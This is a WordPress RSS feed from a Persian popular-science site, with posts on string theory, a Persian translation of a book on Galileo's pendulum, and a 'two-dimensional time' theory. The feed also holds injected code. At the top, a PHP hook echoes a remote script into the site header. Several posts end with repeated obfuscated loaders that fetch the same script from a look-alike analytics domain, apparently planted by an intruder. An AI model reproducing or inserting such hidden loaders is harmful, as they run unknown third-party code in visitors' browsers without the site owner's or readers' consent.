/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>زمان &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d8%b2%d9%85%d8%a7%d9%86/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 08:01:42 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>زمان &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>نظریه ی ریسمان ؛ ابعادِ جادوئیِ علم</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b1%db%8c%d8%b3%d9%85%d8%a7%d9%86-%d8%a7%d8%a8%d8%b9%d8%a7%d8%af-%d8%ac%d8%a7%d8%af%d9%88%d8%a6%db%8c-%d8%b9%d9%84%d9%85/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b1%db%8c%d8%b3%d9%85%d8%a7%d9%86-%d8%a7%d8%a8%d8%b9%d8%a7%d8%af-%d8%ac%d8%a7%d8%af%d9%88%d8%a6%db%8c-%d8%b9%d9%84%d9%85/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Mon, 09 Jan 2023 19:10:38 +0000</pubDate>
				<category><![CDATA[علوم پایه]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[ابعاد]]></category>
		<category><![CDATA[بعد پنجم]]></category>
		<category><![CDATA[بیگ بنگ]]></category>
		<category><![CDATA[تئوری ریسمان]]></category>
		<category><![CDATA[زمان]]></category>
		<category><![CDATA[سیاهچاله]]></category>
		<category><![CDATA[فیزیک]]></category>
		<category><![CDATA[کیهان]]></category>
		<category><![CDATA[کیهان شناسی]]></category>
		<category><![CDATA[مهبانگ]]></category>
		<category><![CDATA[نسبیت]]></category>
		<category><![CDATA[نظریه]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6895</guid>

					<description><![CDATA[<p>نظریه ی ریسمان ؛ ابعادِ جادوئیِ علم نظریه ی ریسمان ؛ ابعاد جادوئی علم ؛ نظریه ی ریسمان ادعا می كند كه دنیای ما، دارای ۱۰ بعد است. یعنی نه بعد مكانی و یك بعد زمانی دارد. این برخلاف تجربیات ماست. یعنی ما فكر می كنیم كه در دنیایی با سه بعد مكانی و یك [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b1%db%8c%d8%b3%d9%85%d8%a7%d9%86-%d8%a7%d8%a8%d8%b9%d8%a7%d8%af-%d8%ac%d8%a7%d8%af%d9%88%d8%a6%db%8c-%d8%b9%d9%84%d9%85/">نظریه ی ریسمان ؛ ابعادِ جادوئیِ علم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>نظریه ی ریسمان ؛ ابعادِ جادوئیِ علم</h4>
<p>نظریه ی ریسمان ؛ ابعاد جادوئی علم ؛ نظریه ی ریسمان ادعا می كند كه دنیای ما، دارای ۱۰ بعد است. یعنی نه بعد مكانی و یك بعد زمانی دارد. این برخلاف تجربیات ماست. یعنی ما فكر می كنیم كه در دنیایی با سه بعد مكانی و یك بعد زمانی زندگی می كنیم. به همین دلیل توجیه می كند كه شش بعد اضافی در واقع در دنیای ما وجود دارند ولی فشرده شده اند. فشرده شدن یعنی اینكه مثلا شما یك شلنگ را از فاصله ی دور بصورت یك بعدی می بینید اما از نزدیك بصورت یك استوانه ی دو بعدی. امروزه برخی از نظریه پردازان ریسمانها بحث ابعاد بیشتر، حتی ۲۶ بعد را مطرح كرده اند.</p>
<h6>ذره مستقل در نظریه ریسمان</h6>
<p>در نظریه ی ریسمان به جای اینكه هر ذره را مستقل در نظر بگیریم به صورت رشته ای پیوسته با شكلهای مختلف درنظر میگیریم , مثلا الكترون را می توان مانند یك النگو رشته ای بدانیم كه دو سرش بهم گره خورده و حلقه دایره ای تشكیل داده است.</p>
<p>علت بوجود آمدن این نظریه این بود كه گرانش با كوانتوم مشكل دارد. همچنانكه گفته شد در دنیای ما چهار نیروی اصلی بنامهای الكترومغناطیسی، هسته ای قوی، هسته ای ضعیف و گرانشی وجود دارد. سه نیروی اول به ترتیب می توانند با هم در انرژیهای بالا متحد شوند و یك نظریه واحد داشته باشند. یعنی انشعاباتی از یك نظریه ی اصلی باشند. اصطلاحاٌ می گویند این سه نظریه در انرژیهای بالا تقارن دارند و در انرژیهای معمولی دچار شكست خودبخودی تقارن می شوند.</p>
<p>اما چهارمین نیروی اصلی یعنی گرانش دو مشكل اساسی دارد. یكی وحدت نیافتن با سه نیروی دیگر و دیگر اینكه اگر ذرات را نقطه ای در نظر بگیریم، سطح مقطع برهم كنش نیروی گرانشی بین دو ذره ی نقطه ای كه بهم نزدیك می شوند طبق نظریه ی كوانتومی بی نهایت بدست می آید. از اینرو ذرات بصورت ریسمانهای یك بعدی در نظر گرفته شدند. مثلا الكترون یا كواركها همگی ریسمانهای بسته و حلقوی با شكلهای مختلفند. در این تصورجدید، دیگر برهم كنش ذرات در زمان و مكان خاص رخ نمی دهد بلكه شما دو حلقه دارید كه در فضا بهم نزدیك می شوند و با عكسبردای تخیلی یك پوسته به شكل شلنگ نمایش داده می شود. مثل اینكه دو شلنگ بهم برخورد كرده باشند و دو شلنگ جدید بوجود آورده باشند. در این نظریه هم وحدت میسر است و هم بینهایتهای گرانش كوانتومی برطرف می شود.</p>
<h6>نظریه ریسمان و مفهومِ ابر تقارن</h6>
<p>تئوری در ابتدا فقط برای بوزون‌ها بود، به منظور اینكه فرمیون‌ها هم وارد تئوری ریسمان شوند باید یك نوع بخصوص از تقارن به نام ابرتقارن وجود می‌داشت كه به واسطه آن برای هر بوزون، یك فرمیون متناظر وجود داشته باشد. پس ابرتقارن، ذرات حامل نیرو و ذراتی كه ماده را می‌سازند به هم مربوط می‌كند.</p>
<p>نتایج ابرتقارن در آزمایشات ذرات مشاهده نشده‌اند اما نظریه پردازان معتقد هستند كه ذرات ابرتقارن بزرگتر و سنگین‌تر از آن هستند كه در شتابدهنده‌های فعلی بتوان آنها را مشاهده كرد. ایجاد شتابدهنده‌های قوی‌تر انرژی بالا در دهه آینده می‌تواند شواهد لازم برای ابرتقارن در اختیار ما قرار دهند..</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="size-medium wp-image-6897 aligncenter" src="https://theorium.net/wp-content/uploads/2023/01/String-theory-300x300.png" alt="نظریه ی ریسمان" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2023/01/String-theory-300x300.png 300w, https://theorium.net/wp-content/uploads/2023/01/String-theory-150x150.png 150w, https://theorium.net/wp-content/uploads/2023/01/String-theory-100x100.png 100w, https://theorium.net/wp-content/uploads/2023/01/String-theory-120x120.png 120w, https://theorium.net/wp-content/uploads/2023/01/String-theory.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>تصویری نو از نظریه ریسمان</h6>
<p>متخصص های نظریه ی ریسمان بر این باور هستند كه پنج تئوری ابر ریسمان وجود دارد . نوع I ، نوع IIA و نوع IIB و دو حالت تئوری ریسمان اكتشافی یا هترو تیك.</p>
<p>این پنج تئوری ابر ریسمان به یكدیگر متصل هستند . همچون یك تئوری خاص و پایه ای. این تئوری ها به دگرگونی وابسته اند كه به آن دوگانی می گوییم . اگر دو تئوری با دوگانی دگرگونی وابسته باشند ، بدان معنا است كه اولین تئوری می تواند در برخی از راه ها دگرگون شده باشد . به این دو تئوری دوگانه برای یكدیگر گفته می شود .</p>
<p>این كمیت های پیوند دوگانگی ها جدا از هم تصور می شدند . مقیاس ها فاصله های كم و زیاد ، نیرو ، طول و &#8230; . این كمیت ها همیشه در فیزیك در هر دو تئوری میدان های كلاسیك و تئوری ذرات كوانتومی دارای حد خاصی هستند . اما ریسمان ها می توانند تفاوت بین كوچكی و بزرگی ، نیرومندی و ضعف باشند .</p>
<h6>تفسیرِ نظریه ریسمان از آنتروپی سیاهچاله</h6>
<p><a href="https://en.wikipedia.org/wiki/String_theory" target="_blank" rel="noopener noreferrer">عقیده</a> نظریه ریسمان در زمینه ی سیاهچاله؛ همانطور كه می دانیم سیاهچاله ها نتیجه معادلات اینشتین هستند و چون تئوری ریسمان وجود گرانش را می پذیرد و شامل معادلات اینشتین نیز می شود پس وجود سیاهچاله ها را نیز می پذیرد . اما تئوری ریسمان بیشتر از تقارن جالب انواعی از ماده كه معمولا&#8221; در معادلات اینشتین عادی به نظر می رسند بر خواسته است . بنابراین سیاهچاله در بافت تئوری ریسمان موضوعی جالب برای مطالعه هستند .</p>
<p>زمانی كه این موضوع كشف شد كه سیاهچاله ها می توانند با توجه به فرایند های كوانتومی نابود شوند به نظر می آمد كه آنتروپی و دما دارایی ترمودینامیك هستند . دمای سیاهچاله با معكوس جرمش متناسب است . بنابراین سیاهچاله با نابودی اش گرم و گرمتر از دوره ی سابق خود می شود . آنتروپی سیاهچاله یك چهارم منطقه ی افق رویداد است ، بنابراین آنتروپی همچون سیاهچاله كوچك و كوچكتر می شود و در نتیجه منطقه ی افق رویداد نیز رفته رفته كاهش می یابد .</p>
<p>حال باید گفت كه در تئوری ریسمان نقل روشنی بین زیر كوانتوم ها و تئوری كوانتوم و فرض آنتروپی سیاهچاله وجود ندارد.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b1%db%8c%d8%b3%d9%85%d8%a7%d9%86-%d8%a7%d8%a8%d8%b9%d8%a7%d8%af-%d8%ac%d8%a7%d8%af%d9%88%d8%a6%db%8c-%d8%b9%d9%84%d9%85/">نظریه ی ریسمان ؛ ابعادِ جادوئیِ علم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b1%db%8c%d8%b3%d9%85%d8%a7%d9%86-%d8%a7%d8%a8%d8%b9%d8%a7%d8%af-%d8%ac%d8%a7%d8%af%d9%88%d8%a6%db%8c-%d8%b9%d9%84%d9%85/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>معرفی کتاب آونگ گالیله</title>
		<link>https://theorium.net/%d9%85%d8%b9%d8%b1%d9%81%db%8c-%da%a9%d8%aa%d8%a7%d8%a8-%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/</link>
					<comments>https://theorium.net/%d9%85%d8%b9%d8%b1%d9%81%db%8c-%da%a9%d8%aa%d8%a7%d8%a8-%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Tue, 12 May 2020 13:39:20 +0000</pubDate>
				<category><![CDATA[بلاگ - کافه تئوری]]></category>
		<category><![CDATA[معرفی کتاب]]></category>
		<category><![CDATA[آوگن]]></category>
		<category><![CDATA[بهرام معلمی]]></category>
		<category><![CDATA[حکایت]]></category>
		<category><![CDATA[راجر نیوتون]]></category>
		<category><![CDATA[زمان]]></category>
		<category><![CDATA[ضرب آهنگ]]></category>
		<category><![CDATA[فیزیک]]></category>
		<category><![CDATA[گالیله]]></category>
		<category><![CDATA[مختصر]]></category>
		<category><![CDATA[نشر مازیار]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5533</guid>

					<description><![CDATA[<p>معرفی کتاب آونگ گالیله معرفی کتاب آونگ گالیله؛ این کتابی است نوشته راجر. ج. نیوتون درباره دریافت گالیله از نبض طبیعی زمان در پدیده‌های طبیعی است. این کتاب هم در مورد تاریخ باستان است وهم علوم جدید. هرچند موضوع آن اساطیر یونانی نیست، هدفش می تواند به راحتی در حکم توصیف تاثیر و نفوذ فراگیر [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%85%d8%b9%d8%b1%d9%81%db%8c-%da%a9%d8%aa%d8%a7%d8%a8-%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/">معرفی کتاب آونگ گالیله</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6>معرفی کتاب آونگ گالیله</h6>
<p>معرفی کتاب آونگ گالیله؛ این کتابی است نوشته راجر. ج. نیوتون درباره دریافت گالیله از نبض طبیعی زمان در پدیده‌های طبیعی است.</p>
<p>این کتاب هم در مورد تاریخ باستان است وهم علوم جدید. هرچند موضوع آن اساطیر یونانی نیست، هدفش می تواند به راحتی در حکم توصیف تاثیر و نفوذ فراگیر و غالب تِرپ سیِکری ، الهه رقص و نواخت و نظم ، بر زندگی ما و چگونگی دست یازیدن علم، از طریق آونگ گالیه ، به مهار آن چیزی باشد که اوریپید آن را « بی معنی و وحشی » نامید؛ و آن چیزی نیست مگر زمان.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-6067" src="https://theorium.net/wp-content/uploads/2020/05/Galileo-book-1-300x300.jpg" alt="Galileo book 1" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/Galileo-book-1-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/Galileo-book-1-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/Galileo-book-1-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/Galileo-book-1-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/Galileo-book-1-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/Galileo-book-1.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>حرکت دوره ای (متناوب) آن وزنۀ (گلولۀ) نوسانی تاثیر چشمگیری بر پیشرفت علم جدید و ریاضیات نهاده است.</p>
<p>آونگ گالیله کتابی مختصر و جالب درباره زمان، رابطه ما با آن و افزایش دامنه توانایی ما در اندازه‌گیری آن است.</p>
<p>این اثر درباره ضرباهنگ زمان سخن می‌گوید و این که چگونه این ضرباهنگ سرانجام به وسیله آونگ گالیله منظم شد و بالاخره این که چگونه بعدها پی بردند که این نوسان‌ها خود را در قالب بسیاری از پدیده‌های طبیعی دیگر بروز می‌دهند.</p>
<p>سه فصل نخست مقدمات‌اند که ضرب‌آهنگ‌های زمان را چنان که پیش از تثبیت رویداد نوسان آونگ ثبت شدند تشریح می‌کنند.</p>
<p>شما می توانید خلاصه تهیه شده <a href="https://theorium.net/" target="_blank" rel="noopener noreferrer">توسط بنیاد بین المللی تئوری ها و دکترین ها</a> از این کتاب را در <a href="https://theorium.net/5465-2-%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/" target="_blank" rel="noopener noreferrer">اینجا</a> مشاهده فرمائید.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%85%d8%b9%d8%b1%d9%81%db%8c-%da%a9%d8%aa%d8%a7%d8%a8-%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/">معرفی کتاب آونگ گالیله</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%85%d8%b9%d8%b1%d9%81%db%8c-%da%a9%d8%aa%d8%a7%d8%a8-%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>آونگ گالیله</title>
		<link>https://theorium.net/%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/</link>
					<comments>https://theorium.net/%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sun, 03 May 2020 11:47:54 +0000</pubDate>
				<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[معرفی کتاب]]></category>
		<category><![CDATA[آوگن]]></category>
		<category><![CDATA[بهرام معلمی]]></category>
		<category><![CDATA[حکایت]]></category>
		<category><![CDATA[راجر نیوتون]]></category>
		<category><![CDATA[زمان]]></category>
		<category><![CDATA[ضرب آهنگ]]></category>
		<category><![CDATA[فیزیک]]></category>
		<category><![CDATA[گالیله]]></category>
		<category><![CDATA[مختصر]]></category>
		<category><![CDATA[نشر مازیار]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5465</guid>

					<description><![CDATA[<p>آونگ گالیله کتابی است نوشته راجر. ج. نیوتون درباره دریافت گالیله از نبض طبیعی زمان در پدیده‌های طبیعی است. این کتاب هم در مورد تاریخ باستان است وهم علوم جدید. هرچند موضوع آن اساطیر یونانی نیست، هدفش می تواند به راحتی در حکم توصیف تاثیر و نفوذ فراگیر و غالب تِرپ سیِکری ، الهه رقص [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/">آونگ گالیله</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>آونگ گالیله کتابی است نوشته راجر. ج. نیوتون درباره دریافت گالیله از نبض طبیعی زمان در پدیده‌های طبیعی است.</p>
<p>این کتاب هم در مورد تاریخ باستان است وهم علوم جدید. هرچند موضوع آن اساطیر یونانی نیست، هدفش می تواند به راحتی در حکم توصیف تاثیر و نفوذ فراگیر و غالب تِرپ سیِکری ، الهه رقص و نواخت و نظم ، بر زندگی ما و چگونگی دست یازیدن علم، از طریق آونگ گالیه ، به مهار آن چیزی باشد که اوریپید آن را « بی معنی و وحشی » نامید؛ و آن چیزی نیست مگر زمان.</p>
<p>حرکت دوره ای (متناوب) آن وزنۀ (گلولۀ) نوسانی تاثیر چشمگیری بر پیشرفت علم جدید و ریاضیات نهاده است.</p>
<p>آونگ گالیله کتابی مختصر و جالب درباره زمان، رابطه ما با آن و افزایش دامنه توانایی ما در اندازه‌گیری آن است</p>
<p>این اثر درباره ضرباهنگ زمان سخن می‌گوید و این که چگونه این ضرباهنگ سرانجام به وسیله آونگ گالیله منظم شد و بالاخره این که چگونه بعدها پی بردند که این نوسان‌ها خود را در قالب بسیاری از پدیده‌های طبیعی دیگر بروز می‌دهند.</p>
<h6>بحشی از کتاب؛</h6>
<p>سه فصل نخست مقدمات‌اند که ضرب‌آهنگ‌های زمان را چنان که پیش از تثبیت رویداد نوسان آونگ ثبت شدند تشریح می‌کنند.</p>
<p>تأثیر توالی شب و روز بر موجودات زنده، توصیف تاریخچه تقویم، از طریق پیکار تمدن‌ها برای سازگار کردن چرخه‌های مربوط به ماه و خورشید، و بالاخره محاسبه بازه‌های زمانی کوتاه‌تر تا قرون وسطی. سازوکارهای زیستی که طبیعت به کار گرفته تا ضرب‌آهنگ‌ها را در موجودات زنده جای‌گیر کند و روش‌هایی که فرهنگ‌های انسانی ابداع کرده‌اند تا حساب دوره‌های زمانی را نگه دارند که افلاک در برابر ما عَلَم کرده‌اند، نه پایدار بوده‌اند و نه دقیق.</p>
<p><a href="https://theorium.net/%d9%85%d8%b9%d8%b1%d9%81%db%8c-%da%a9%d8%aa%d8%a7%d8%a8-%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5965" src="https://theorium.net/wp-content/uploads/2020/05/ghab-new-300x300.jpg" alt="Galileo In room" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/ghab-new-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/ghab-new-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/ghab-new-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/ghab-new-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/ghab-new-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/ghab-new.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>و فصل‌های بعدی ساعت آونگی، ضربان طبیعت، فیزیک آونگ، نوسان در صوت و نور و نوسان هاز سازنده ذرات در فیزیک کوانتوم اند.</p>
<p>آونگ گالیله حاوی حکایت ساده‌ترین، و در عین حال بنیادی‌ترین، دستگاه فیزیکی در طبیعت و این که چگونه بین ضرب‌آهنگ زمان و وجود مادی ما رابطه برقرار می شود است.</p>
<h6>مشخصات کلی کتاب</h6>
<p>عنوان: آونگ گالیله</p>
<p>نویسنده: راجر.ج. نیوتون</p>
<p>مترجم: بهرام معلمی</p>
<p>ناشر: مازیار</p>
<p><a href="https://theorium.net/wp-content/uploads/2020/05/دانلود-گزیده-کتاب-آونگ-گالیله.pdf" target="_blank" rel="noopener noreferrer">دانلود گزیده کتاب آونگ گالیله</a><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/">آونگ گالیله</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%a2%d9%88%d9%86%da%af-%da%af%d8%a7%d9%84%db%8c%d9%84%d9%87/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>نظریه ابر زمان</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%a8%d8%b1-%d8%b2%d9%85%d8%a7%d9%86/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%a8%d8%b1-%d8%b2%d9%85%d8%a7%d9%86/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Tue, 07 Apr 2020 11:47:41 +0000</pubDate>
				<category><![CDATA[علوم پایه]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[آینده]]></category>
		<category><![CDATA[ابر زمان]]></category>
		<category><![CDATA[انرژی]]></category>
		<category><![CDATA[پدیده]]></category>
		<category><![CDATA[جهان]]></category>
		<category><![CDATA[زمان]]></category>
		<category><![CDATA[فلسفه]]></category>
		<category><![CDATA[فیزیکدان]]></category>
		<category><![CDATA[کامران وفا]]></category>
		<category><![CDATA[گذشته]]></category>
		<category><![CDATA[میچیو کاکو]]></category>
		<category><![CDATA[نظریه]]></category>
		<category><![CDATA[نظریه اِم]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5084</guid>

					<description><![CDATA[<p>نظریه ابر زمان نظریه ابر زمان به ما می گوید که؛ در تمامی طول تاریخ اندیشه همواره تصور فیزیكدان ‌ها و فلاسفه این بود كه &#8220;زمان&#8221; پدیده‌ای است یك بعدی. همانند یك خط از گذشته تا آینده امتداد دارد. بر این اساس لحظات، ثانیه‌ها، ساعت‌ها، روزها، سال‌ها و قرن‌ها پشت سر هم سپری می‌شوند. به [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%a8%d8%b1-%d8%b2%d9%85%d8%a7%d9%86/">نظریه ابر زمان</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h5><strong>نظریه ابر زمان</strong></h5>
<p>نظریه ابر زمان به ما می گوید که؛ در تمامی طول تاریخ اندیشه همواره تصور فیزیكدان ‌ها و فلاسفه این بود كه &#8220;زمان&#8221; پدیده‌ای است یك بعدی.</p>
<p>همانند یك خط از گذشته تا آینده امتداد دارد.</p>
<p>بر این اساس لحظات، ثانیه‌ها، ساعت‌ها، روزها، سال‌ها و قرن‌ها پشت سر هم سپری می‌شوند.</p>
<p>به همراه خود تحولات گوناگونی را در سرتاسر كیهان رقم می‌‌زنند.</p>
<p>اما مدتی است كه این تصور بشر درباره ماهیت زمان در حال تغییر است.</p>
<p>چرا كه از حدود دو دهه پیش برخی از فیزیكدان‌ها نظریه ابرزمان را مطرح کردند.</p>
<p>آنها به این نتیجه رسیده‌اند كه زمان برخلاف تصور متعارف موجود، یك بعدی نیست .</p>
<p>بلكه همانند یك صفحه، دو بعدی است!</p>
<h6><strong>صفحه زمان</strong></h6>
<p>ایتزاك بارز، فیزیكدان دانشگاه كالیفرنیای جنوبی و كامران وفا، فیزیكدان ایرانی دانشگاه هاروارد آمریكا نمونه‌هایی از این فیزیكدان‌هایی هستند که نظریه ابرزمان را مطرح کردند.</p>
<p>این محققان هنگامی كه در حال بررسی مدل‌هایی از جهان در چارچوب نظریه ابرریسمان و نظریه تعمیم یافته آن یعنی نظریه اِم بودند، برای نخستین بار با نشانه‌هایی مبنی بر احتمال وجود یك بعد زمانی اضافی حاكم بر كیهان مواجه شدند.</p>
<p>نظریه ابرزمان را مطرح کردند. اما دو بعدی بودن زمان ، احتمالی بسیار بسیار شگفت ‌انگیز است.</p>
<p>اگر زمان همانطور كه تا پیش از این تصور می‌كردیم همانند یك خط راست یك بعدی باشد، در این صورت هر لحظه زمانی روی این خط، یا قبل از یك لحظه مفروض دیگر قرار می‌ گیرد و یا بعد از آن.</p>
<p>بدین ترتیب، آینده و گذشته و مسیری كه گذشته را به حال و آینده متصل می‌ كند كاملاً مشخص و تعریف شده خواهند بود و هر مجموعه ‌ای از رویداد ها الزاماً توالی مشخصی خواهند داشت.</p>
<p>اما با افزودن یك بعد زمانی جدید، خط زمان تبدیل به صفحه زمان خواهد شد.</p>
<p>مسیر اتصال گذشته به آینده بر روی چنین صفحه‌ ای حتی می ‌تواند همانند یك حلقه باشد.</p>
<p>بدین ترتیب در چنین جهانی امكان رفت و آمد و سفر در بعد زمان اساساً وجود خواهد داشت.</p>
